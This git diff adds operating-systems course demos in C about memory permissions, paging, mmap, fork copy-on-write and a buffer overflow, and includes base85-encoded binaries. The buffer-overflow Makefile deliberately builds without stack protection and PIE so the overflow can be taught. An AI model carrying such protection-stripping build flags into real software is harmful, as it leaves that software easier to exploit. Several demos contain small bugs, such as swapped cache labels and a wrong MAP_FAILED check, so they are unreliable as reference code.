b/courses/curs-05-demo/access-permissions/Makefile new file mode 100644 index 00000000..5c73f5e4 --- /dev/null +++ b/courses/curs-05-demo/access-permissions/Makefile @@ -0,0 +1,15 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused-but-set-variable -Wno-discarded-qualifiers -g + +.PHONY: all clean + +all: access-permissions + +access-permissions: access-permissions.o + +access-permissions.o: access-permissions.c ../utils/utils.h + +clean: + -rm -f access-permissions.o access-permissions + -rm -f *~ diff --git a/courses/curs-05-demo/access-permissions/access-permissions.c b/courses/curs-05-demo/access-permissions/access-permissions.c new file mode 100644 index 00000000..ea362e3a --- /dev/null +++ b/courses/curs-05-demo/access-permissions/access-permissions.c @@ -0,0 +1,44 @@ +#include + +static int data[] = {10, 20, 30, 40}; /* stored in .data section (rw-) */ + +static void exec_do_nothing(void) /* stored in .text section (r-x) */ +{ +} + +static void do_write(const char *msg, void *address, int value) +{ + puts(msg); + * (int *) address = value; +} + +static void do_read(const char *msg, void *address) +{ + int p; + + puts(msg); + p = * (int *) address; +} + +static void do_exec(const char *msg, void *address) +{ + void (*f)(void) = (void (*)(void)) address; + + puts(msg); + f(); +} + +int main(void) +{ + do_read("reading from .data section", &data[0]); + do_write("writing to .data section", &data[0], 77); + + do_read("reading from .text section", exec_do_nothing); + do_exec("executing .text section", exec_do_nothing); + + /* These won't work due to permission issues. */ + //do_exec("executing .data section", &data[0]); + //do_write("writing to .text section", exec_do_nothing, 77); + + return 0; +} diff --git a/courses/curs-05-demo/address-space/.gitignore b/courses/curs-05-demo/address-space/.gitignore new file mode 100644 index 00000000..efa3e0e7 --- /dev/null +++ b/courses/curs-05-demo/address-space/.gitignore @@ -0,0 +1 @@ +/address-space diff --git a/courses/curs-05-demo/address-space/Makefile b/courses/curs-05-demo/address-space/Makefile new file mode 100644 index 00000000..6af6c119 --- /dev/null +++ b/courses/curs-05-demo/address-space/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: address-space + +address-space: address-space.o + +address-space.o: address-space.c ../utils/utils.h + +clean: + -rm -f *.o *~ address-space *.txt diff --git a/courses/curs-05-demo/address-space/address-space.c b/courses/curs-05-demo/address-space/address-space.c new file mode 100644 index 00000000..b1456250 --- /dev/null +++ b/courses/curs-05-demo/address-space/address-space.c @@ -0,0 +1,61 @@ +#include +#include +#include +#include +#include + +#include "utils.h" + +static void stack_allocation(void) +{ + sleep(5); + printf("Allocate 16 pages of stack memory.\n"); + { + char buffer[65536]; /* 16 pages of stack memory */ + } + + sleep(5); + printf("Free 16 pages of stack memory.\n"); + /* When returning stack is automatically discarded. */ +} + +static void heap_allocation(void) +{ + char *ptr; + + sleep(5); + printf("Allocate 16 pages of heap memory.\n"); + ptr = malloc(65536); + + sleep(5); + printf("Free 16 pages of heap memory.\n"); + free(ptr); +} + +static void mapped_allocation(void) +{ + char *ptr; + + sleep(5); + printf("Allocate 16 pages of mapped memory.\n"); + ptr = mmap(NULL, 65536, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + DIE(ptr == MAP_FAILED, "mmap"); + + sleep(5); + printf("Free 16 pages of mpped memory.\n"); + munmap(ptr, 65536); +} + +int main(void) +{ + /* Stack-based memory allocation and deallocation */ + stack_allocation(); + + /* Heap-based memory allocation and deallocation */ + heap_allocation(); + + /* Memory mapping-based allocation and deallocation */ + mapped_allocation(); + + return 0; +} diff --git a/courses/curs-05-demo/allocation-granularity/.gitignore b/courses/curs-05-demo/allocation-granularity/.gitignore new file mode 100644 index 00000000..08895a07 --- /dev/null +++ b/courses/curs-05-demo/allocation-granularity/.gitignore @@ -0,0 +1 @@ +/allocation-granularity diff --git a/courses/curs-05-demo/allocation-granularity/Makefile b/courses/curs-05-demo/allocation-granularity/Makefile new file mode 100644 index 00000000..041c7437 --- /dev/null +++ b/courses/curs-05-demo/allocation-granularity/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: allocation-granularity + +allocation-granularity: allocation-granularity.o + +allocation-granularity.o: allocation-granularity.c ../utils/utils.h + +clean: + -rm -f *.o *~ allocation-granularity *.txt diff --git a/courses/curs-05-demo/allocation-granularity/allocation-granularity.c b/courses/curs-05-demo/allocation-granularity/allocation-granularity.c new file mode 100644 index 00000000..442540e2 --- /dev/null +++ b/courses/curs-05-demo/allocation-granularity/allocation-granularity.c @@ -0,0 +1,28 @@ +#include +#include +#include +#include + +int main(int argc, char **argv) +{ + size_t bytes; + char *ptr; + + if (argc != 2) { + fprintf(stderr, "Usage: $0 allocation-size\n\n"); + exit(EXIT_FAILURE); + } + + sleep(5); + bytes = strtol(argv[1], NULL, 10); + printf("Allocating %zu bytes\n", bytes); + ptr = malloc(bytes); + + sleep(5); + printf("Freeing %zu bytes\n", bytes); + free(ptr); + + sleep(5); + + return 0; +} diff --git a/courses/curs-05-demo/system-memory/.gitignore b/courses/curs-05-demo/system-memory/.gitignore new file mode 100644 index 00000000..acfbdcdc --- /dev/null +++ b/courses/curs-05-demo/system-memory/.gitignore @@ -0,0 +1 @@ +/system-memory diff --git a/courses/curs-05-demo/system-memory/Makefile b/courses/curs-05-demo/system-memory/Makefile new file mode 100644 index 00000000..d8fb6314 --- /dev/null +++ b/courses/curs-05-demo/system-memory/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: system-memory + +system-memory: system-memory.o + +system-memory.o: system-memory.c ../utils/utils.h + +clean: + -rm -f *.o *~ system-memory *.txt diff --git a/courses/curs-05-demo/system-memory/system-memory.c b/courses/curs-05-demo/system-memory/system-memory.c new file mode 100644 index 00000000..781598bb --- /dev/null +++ b/courses/curs-05-demo/system-memory/system-memory.c @@ -0,0 +1,21 @@ +#include +#include +#include +#include + +int main(void) +{ + size_t page_size; + size_t phys_pages; + + page_size = sysconf(_SC_PAGE_SIZE); + phys_pages = sysconf(_SC_PHYS_PAGES); + printf("page size: %lu, physical pages: %lu, memory: %lu\n", + page_size, phys_pages, page_size * phys_pages); + + printf("data cache L1 size: %lu, instruction cache L1 size: %lu\n", + (size_t) sysconf(_SC_LEVEL1_ICACHE_SIZE), + (size_t) sysconf(_SC_LEVEL1_DCACHE_SIZE)); + + return 0; +} diff --git a/courses/curs-05-demo/utils/utils.h b/courses/curs-05-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-05-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-06-demo/allocation/.gitignore b/courses/curs-06-demo/allocation/.gitignore new file mode 100644 index 00000000..a6076300 --- /dev/null +++ b/courses/curs-06-demo/allocation/.gitignore @@ -0,0 +1 @@ +/allocation diff --git a/courses/curs-06-demo/allocation/Makefile b/courses/curs-06-demo/allocation/Makefile new file mode 100644 index 00000000..224c7457 --- /dev/null +++ b/courses/curs-06-demo/allocation/Makefile @@ -0,0 +1,12 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: allocation + +allocation: allocation.o + +clean: + -rm -f *.o *~ allocation diff --git a/courses/curs-06-demo/allocation/allocation.c b/courses/curs-06-demo/allocation/allocation.c new file mode 100644 index 00000000..cca4d205 --- /dev/null +++ b/courses/curs-06-demo/allocation/allocation.c @@ -0,0 +1,42 @@ +/* + * View virtual memory allocation + */ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_ROUNDS 10 + +int main(void) +{ + char *p; + size_t cnt, i; + + puts("Initializing."); + sleep(5); + + for (cnt = 0; cnt < NUM_ROUNDS; cnt++) { + puts("Using malloc to allocate 1024 sets of 1024 bytes."); + for (i = 0; i < 1024; i++) { + p = malloc(1024); + DIE(p == NULL, "malloc"); + } + sleep(2); + } + + for (cnt = 0; cnt < NUM_ROUNDS; cnt++) { + puts("Using mmap to allocate 1MB."); + p = mmap(NULL, 1024*1024, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + DIE(p == MAP_FAILED, "mmap"); + sleep(2); + } + + return 0; +} diff --git a/courses/curs-06-demo/demand-paging/.gitignore b/courses/curs-06-demo/demand-paging/.gitignore new file mode 100644 index 00000000..9088ea0e --- /dev/null +++ b/courses/curs-06-demo/demand-paging/.gitignore @@ -0,0 +1 @@ +/demand-paging diff --git a/courses/curs-06-demo/demand-paging/Makefile b/courses/curs-06-demo/demand-paging/Makefile new file mode 100644 index 00000000..b4d1d464 --- /dev/null +++ b/courses/curs-06-demo/demand-paging/Makefile @@ -0,0 +1,12 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: demand-paging + +demand-paging: demand-paging.o + +clean: + -rm -f *.o *~ demand-paging diff --git a/courses/curs-06-demo/demand-paging/demand-paging.c b/courses/curs-06-demo/demand-paging/demand-paging.c new file mode 100644 index 00000000..8cc02080 --- /dev/null +++ b/courses/curs-06-demo/demand-paging/demand-paging.c @@ -0,0 +1,46 @@ +/* + * See how demand paging works. + */ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define CHUNK_SIZE (1024*1024) +#define PAGE_SIZE getpagesize() +#define NUM_PAGES (CHUNK_SIZE / PAGE_SIZE) + +#define NUM_ROUNDS 10 + +int main(void) +{ + char *p[NUM_ROUNDS]; /* array of start addresses */ + int cnt, i; + + puts("Initializing ..."); + sleep(5); + + for (cnt = 0; cnt < NUM_ROUNDS; cnt++) { + printf("Using mmap to allocate %dMB (%d chunks of %d bytes).\n", + CHUNK_SIZE, NUM_PAGES, PAGE_SIZE); + p[cnt] = mmap(NULL, CHUNK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + DIE(p == MAP_FAILED, "malloc"); + sleep(2); + } + + puts("Going for demand paging ..."); + for (cnt = 0; cnt < NUM_ROUNDS; cnt++) { + printf("Going through all pages in chunk %d.\n", cnt); + for (i = 0; i < NUM_PAGES; i++) + p[cnt][i*PAGE_SIZE] = 'a'; + sleep(2); + } + + return 0; +} diff --git a/courses/curs-06-demo/exec-vars/.gitignore b/courses/curs-06-demo/exec-vars/.gitignore new file mode 100644 index 00000000..c807dbbc --- /dev/null +++ b/courses/curs-06-demo/exec-vars/.gitignore @@ -0,0 +1 @@ +/exec-vars diff --git a/courses/curs-06-demo/exec-vars/Makefile b/courses/curs-06-demo/exec-vars/Makefile new file mode 100644 index 00000000..b33da85d --- /dev/null +++ b/courses/curs-06-demo/exec-vars/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -g + +.PHONY: all clean + +all: exec-vars + +exec-vars: exec-vars.o + +exec-vars.o: exec-vars.c ../utils/utils.h + +clean: + -rm -f *.o *~ exec-vars diff --git a/courses/curs-06-demo/exec-vars/exec-vars.c b/courses/curs-06-demo/exec-vars/exec-vars.c new file mode 100644 index 00000000..bd496618 --- /dev/null +++ b/courses/curs-06-demo/exec-vars/exec-vars.c @@ -0,0 +1,18 @@ +/** + * Variables in process address space viewed with objdump + */ +#include + +int var_a; +int var_b = 2; +char var_c[] = "so"; + +int main(void) +{ + int var_d; + static int var_e; + char *var_f = "rulz"; + char *var_g = malloc(10); + + return 0; +} diff --git a/courses/curs-06-demo/fork-faults/.gitignore b/courses/curs-06-demo/fork-faults/.gitignore new file mode 100644 index 00000000..6a4c8bbd --- /dev/null +++ b/courses/curs-06-demo/fork-faults/.gitignore @@ -0,0 +1 @@ +/fork-faults diff --git a/courses/curs-06-demo/fork-faults/Makefile b/courses/curs-06-demo/fork-faults/Makefile new file mode 100644 index 00000000..006e74e2 --- /dev/null +++ b/courses/curs-06-demo/fork-faults/Makefile @@ -0,0 +1,12 @@ +CFLAGS = -Wall -g + +.PHONY: all clean + +all: fork-faults + +fork-faults: fork-faults.o + +fork-faults.o: fork-faults.c + +clean: + -rm -f *~ *.o fork-faults diff --git a/courses/curs-06-demo/fork-faults/fork-faults.c b/courses/curs-06-demo/fork-faults/fork-faults.c new file mode 100644 index 00000000..4592b17d --- /dev/null +++ b/courses/curs-06-demo/fork-faults/fork-faults.c @@ -0,0 +1,77 @@ +/* + * Page-faults generated by copy-on-write and demand paging + */ + +#include +#include +#include +#include +#include +#include + +#define NUM_PAGES 1024 + +static void wait_for_input(const char *msg) +{ + char buf[32]; + + printf(" * %s\n", msg); + printf(" -- Press ENTER to continue ..."); fflush(stdout); + fgets(buf, 32, stdin); +} + +int main(void) +{ + char *p; + int status; + size_t i; + int page_size = getpagesize(); + char value; + + wait_for_input("beginning"); + + p = mmap(NULL, NUM_PAGES * page_size, PROT_READ | PROT_WRITE, + MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); + if (p == MAP_FAILED) { + perror("mmap"); + exit(EXIT_FAILURE); + } + + for (i = 0; i < NUM_PAGES; i++) + p[i*page_size] = i; + + wait_for_input("init p before fork"); + + switch (fork()) { + case -1: /* handle error */ + perror("fork"); + exit(EXIT_FAILURE); + + case 0: /* child process */ + wait_for_input("child begin"); + + for (i = 0; i < NUM_PAGES / 2; i++) + value = p[i*page_size]; + wait_for_input("child after read"); + + for (i = NUM_PAGES / 2; i < NUM_PAGES; i++) + p[i*page_size] = page_size-i; + wait_for_input("child after write"); + + exit(EXIT_SUCCESS); + break; + + default: + break; + } + + wait(&status); + wait_for_input("parent after wait"); + + for (i = 0; i < NUM_PAGES; i++) + p[i*page_size] = i; + + wait_for_input("end"); + + return 0; +} diff --git a/courses/curs-06-demo/pmap/.gitignore b/courses/curs-06-demo/pmap/.gitignore new file mode 100644 index 00000000..9866d60e --- /dev/null +++ b/courses/curs-06-demo/pmap/.gitignore @@ -0,0 +1 @@ +/pmap diff --git a/courses/curs-06-demo/pmap/Makefile b/courses/curs-06-demo/pmap/Makefile new file mode 100644 index 00000000..e15ab49a --- /dev/null +++ b/courses/curs-06-demo/pmap/Makefile @@ -0,0 +1,15 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: pmap + +pmap: pmap.o + +pmap.o: pmap.c ../utils/utils.h + + +clean: + -rm -f *.o *~ pmap diff --git a/courses/curs-06-demo/pmap/pmap.c b/courses/curs-06-demo/pmap/pmap.c new file mode 100644 index 00000000..6852f95f --- /dev/null +++ b/courses/curs-06-demo/pmap/pmap.c @@ -0,0 +1,70 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_PAGES 4 + +static void wait_for_input(const char *msg) +{ + char buf[32]; + + printf(" * %s\n", msg); + printf(" -- Press ENTER to continue ...\n"); fflush(stdout); + fgets(buf, 32, stdin); +} + +int main(void) +{ + int rc; + int page_size = getpagesize(); + char *p; + int fd; + + wait_for_input("before mmap file use pmap to see file mapping"); + + /** First we map a file */ + fd = open("Makefile", O_RDWR ); + DIE(fd == -1, "open"); + + p = mmap(NULL, page_size, + PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); + DIE(p == MAP_FAILED, "mmap"); + wait_for_input("after mapping the file"); + + rc = munmap(p, page_size); + DIE(rc == -1, "munmap"); + wait_for_input("after unmapping the file"); + + rc = close(fd); + DIE(rc == -1, "close"); + + /** Second we map SHARED memory */ + p = mmap(NULL, page_size,PROT_READ | PROT_WRITE, + MAP_ANONYMOUS | MAP_SHARED, -1, 0); + DIE(p == MAP_FAILED, "mmap"); + wait_for_input("after mapping SHARED memory"); + + rc = munmap(p, page_size); + DIE(rc == -1, "munmap"); + wait_for_input("after unmapping SHARED memory"); + + /** Thrid we map PRIVATE memory */ + p = mmap(NULL, page_size,PROT_READ | PROT_WRITE, + MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); + DIE(p == MAP_FAILED, "mmap"); + wait_for_input("after mapping PRIVATE memory"); + + rc = munmap(p, page_size); + DIE(rc == -1, "munmap"); + wait_for_input("after unmapping PRIVATE memory"); + + return 0; +} diff --git a/courses/curs-06-demo/utils/utils.h b/courses/curs-06-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-06-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-07-demo/buffer-overflow/Makefile b/courses/curs-07-demo/buffer-overflow/Makefile new file mode 100644 index 00000000..818c317b --- /dev/null +++ b/courses/curs-07-demo/buffer-overflow/Makefile @@ -0,0 +1,44 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused-function -g + +.PHONY: all clean + +all: buffer-overflow buffer-overflow-32 buffer-overflow-pie buffer-overflow-ssp buffer-overflow-asan + +buffer-overflow: buffer-overflow.o + $(CC) -no-pie -o $@ $^ + +buffer-overflow.o: buffer-overflow.c + $(CC) $(CPPFLAGS) $(CFLAGS) -fno-stack-protector -fno-PIC -c -o $@ $< + +buffer-overflow-32: buffer-overflow-32.o + $(CC) -no-pie -m32 -o $@ $^ + +buffer-overflow-32.o: buffer-overflow.c + $(CC) $(CPPFLAGS) $(CFLAGS) -fno-stack-protector -fno-PIC -m32 -c -o $@ $< + +buffer-overflow-pie: buffer-overflow-pie.o + $(CC) -pie -o $@ $^ + +buffer-overflow-pie.o: buffer-overflow.c + $(CC) $(CPPFLAGS) $(CFLAGS) -fno-stack-protector -fPIC -c -o $@ $< + +buffer-overflow-ssp: buffer-overflow-ssp.o + $(CC) -no-pie -o $@ $^ + +buffer-overflow-ssp.o: buffer-overflow.c + $(CC) $(CPPFLAGS) $(CFLAGS) -fstack-protector -fno-PIC -c -o $@ $< + +buffer-overflow-asan: buffer-overflow-asan.o + $(CC) -no-pie -fsanitize=address -o $@ $^ + +buffer-overflow-asan.o: buffer-overflow.c + $(CC) $(CPPFLAGS) $(CFLAGS) -fsanitize=address -fno-PIC -c -o $@ $< + +clean: + -rm -f buffer-overflow buffer-overflow.o + -rm -f buffer-overflow-32 buffer-overflow-32.o + -rm -f buffer-overflow-pie buffer-overflow-pie.o + -rm -f buffer-overflow-ssp buffer-overflow-ssp.o + -rm -f *~ diff --git a/courses/curs-07-demo/buffer-overflow/buffer-overflow b/courses/curs-07-demo/buffer-overflow/buffer-overflow new file mode 100644 index 0000000000000000000000000000000000000000..693752c461366916edc7164ab78441aa06339f48 GIT binary patch literal 11488 zcmeHNeQX@Zb)UUElE))?Jbp-|Bqv_kQcNe|k(6YLmaFKF6y>E&$&5_8bQ5`bA4}fV z_d(q5$)a4OifOAN963zjCW2wqivKXwv}u{7XxtQ#DNC_nz$ughZG|Ka)W%Mwe2Il) zK}c+|zc)K`+*=;eqJQ+CdWhRM?>FzgdGls=_suN-cyM^1M^Tt89`-3l+(K1^L-v)i zi7lKJSRbop5q1aL%&LL-@Qd&kqIONvo5HlDej(=tCA~h64fJ^;ydvpsHq0cI9uln* zZ8nJr&ZeP&%}UCc$^p_NUqeC8f==*?q?+(!LQttkEa|C2PZfHSUJ{N;D#u4-qu;2o zH|mLiBR)ce?d8`MO0rZ&-m#KY9~Xwk{Skt}+jNw3up_9{`!w{(&;Mx&3BiM+zqR7B zB*rJHU|Clt9q--Il}UDH(z)W1&Le%joxMB4WdGf+!tzWc7xzM z*1$Kdfp@Ke_pX88u?9}_rQ+uq(Yw2QKdsYU^|0&if_ez)P`)yf*twzxHg^_X8@^o>{a!%a^p- z3;y%68@7DU>u6fudI8tQ+astEpQ83_SC&z>ewTO}%C$?J{}%ByglmhO|2pyH`n3hl zzf3&2eC;&nUm%{sbZs7d&##8&e(;z!_wU;5+e;&(Ll+kpYa&d$cy5G~iMQz1L51-IvnMT1(QhQs*{C$R>gBA zmy8vXYC4DK5xT*>yUBYWJ@e?^zWV<1@&f2MhC2;<0`x`DJ&4<7&=Js^pefK++$nE@ z?f|_BIu4pb*1C90@6#>TCS-N==BSoN|RL=<5?CfKpl3euk0k+mMyd zk}cqADRcuPA6YQ8FWCM-W8D+}V{FgH`#!#X3q9I-ALF1p#?VASG#EPW8EB{;h9h9x z@jHUw2->M$YDbm&d>+4Hw8cP6ZJy6^Wfjoh;CB-3VbD^0+O|y)ZfSNIzf+Jg2wm;_`45}x6{lSheRB6HPdx>z;qK1uMb7nn zuBR{Dz2j~hWuJtmJqdOwDT$-AA-IQsNP=tF4b>Q zU9Ihf9p5t5I|6@3b*2#09oUVlPvJ~o;A_NqI1>p>l9-P(THq&StBNxtfkkSm=FE8D z=fwDxgAkYq(5>MMDC1yKfhUQnSK=VkfukfA;*1seM`D^4N{WsIzCmK^m3<(`0&Ub! zn?ezMDsU&Yv@4GRn+;f`bDNR_b0YB1#B5clhxx$Eq|>P!2XiX$=fs3Lb2_jG|1ZBB=9w= zvfBOB{4x#KU;BNkzY+%=V%7f5z^eT(fUBp8B)1!A%@9hn$M$SN#cfA38zR6TJEl;H&0%buZBBjd3W{e;ep^ z{F+$J+aRHzP}3$tuqv~Vz-oQ~r1{r?lsn_7(#DSpPaHv&7kA@MX`w>^Wh=Sl`BI9t zewA9*6T2wxvl!}Bloy|b{JMW4gYAEWD&*Jo61U+g&W*73)qaxU(fBedJVuSIt&XHZ zXM{odfZwsrd z`xM#{Nm2D9PK`hj2qGj^^D#!m-=cVfb#4Jhr|KtMGmT

2nUYwjX3Z41G zMqx6Oe=O-t19AFJSq!+OB)TgZi(-SE= z!ZOoG4Qet|`GN%}xzIMf2M1Y6^rmwjxE_z02Fv7gQ!2j{b7p!fhwU#twY1};dm9C9k5@04aWiswcGG@g}eelLav7jgNnPL{_YX`>Efu0`wC8u^~tzypD zJ!RyKLOKC9R!F3F+h?X~=akwxnag)#7oB*#bGneXushEeY;a^~puz-DIAG&(qae=y z2-r6?Jg84+iY9mJi9*^kc(^F~=ofJ_DM~zCYFQ9S+l(DH>`3XEeByC2(rrx7=CNoH z(tOdL1`*+O&JM8M4YSema)yu?eC@+;*GnunEpri@Bm{ zB)3r%X&z{?*$Wwd$1&-}X*=@#WR?bF2bH@?H`{+xytoPbJdssWUfhwR6>%@KD&oFU z-t9EzMHaqTQNEhVyu4h#hE>XEy~y%q9$YS8%Va)Xjt5G4cR5~H+JBVe^(;~$AN8_^ z()X-#`5=?~mU6t2T@tU;ay(S}4pWXdu?3t4x{DVl`*I)TZ1b{~(*CC$Z^d_}2`9ws zUhHDz`MR^w%huz~R7t*#X%+F6?+N90@WQE3yrtb*d83!fU7Z`3yE!-hk#azAUiQ&d zI9?~ncmH$Q-9YnHNVIZIIfE9L+a7%ndB#2_)g#oPU%u2KGYu-%4n4e^FqlM z*^&EVlBF_(pHg9dPXVvw|JQ+&9r@Oi$eiwV;BWftMcxSFzi6 zuiFTh7eWql5O}5UV+QaL?9k^5XW7N=tiInfYuG=w2LAjS_?b2Ei)-LN1Wtas$NL|^ zRj1>kegk-ur;Uxc#^pr-o7l?p$|vNTfm596vk(=7Um5!uXb9_n+GXbslJ_*QE8_l= z^Ku3Kk{$W~0G|+cc0qvbxZ}J}^y}V^JjijO>>!7L)41GrZsYP5p7V)Vp&5^7PHwIs5m$sl2)0hD=mO`&dk!8yEt-3ec!?8{y}~4z+N56 zRJl>)ntLBT5Z#abudIcC!v%x{QyU3L`y`DvGq2-oR5D}OIVCx*QAg?XN6 z(f4z=3#0o7#B{K*Ig>?}32GH=nvyka4~)Vz3+Irkhok*NomOm0aM){wUnBdi3|U909C!KuzDk(}9zmt|gv@jM@O+@+&NxWcS?&Z=gP#yD<-_v- za#W`<>hk$1;T}|+`Z8~(BPS|bY*Mo3;li}C(rTc zg}yxZCw*kotK#<@Fp3HJM@1FyM^$tvzYo~0tJlvQ8l3tOp&t?Ybgb$uA;C!cJb0(R zd=D=OeR|J3i`0`C9cnuD<$mV^Eov0`y~5^J`+ph@q%XUX`=U!i|F~2XRK{PzXHaqK z%l~7O|KBz$1qBt;QbH*|cIwN0)`IA0f*Kvg-TxxmXpbP4ducx=|KH6mFL_BRuWoec z%kNh0WE4fp+1v^*@ylqSwIlnNdA0n1!b`$`xxS>HoX3BIE{RBexer_-r%-%Kjz2?$Vd}swVW;>R+0D4;8W{{httd=lB}>ZhOBK{dY@)f=d0n zUAPD*A2T(10Z7a#`gzfj+pb%-c@6z<3jOcNfeGVo{g1Ape^@*??{z7-SoX;^^#59X z*j#cB3U#-BpU`)Y^Cf!Np?KEtU)mum?|rTyE@#A%fnPiaRN&k3lj}ylf9Uz*>H-M< dzgXpjrCr8lzjiC_Z7S<;xYL#xa4EQ0_Fuj9;-&xq literal 0 HcmV?d00001 diff --git a/courses/curs-07-demo/buffer-overflow/buffer-overflow-32 b/courses/curs-07-demo/buffer-overflow/buffer-overflow-32 new file mode 100644 index 0000000000000000000000000000000000000000..26a2168734c17aeb719e9cfb54728e12d44b193b GIT binary patch literal 10088 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 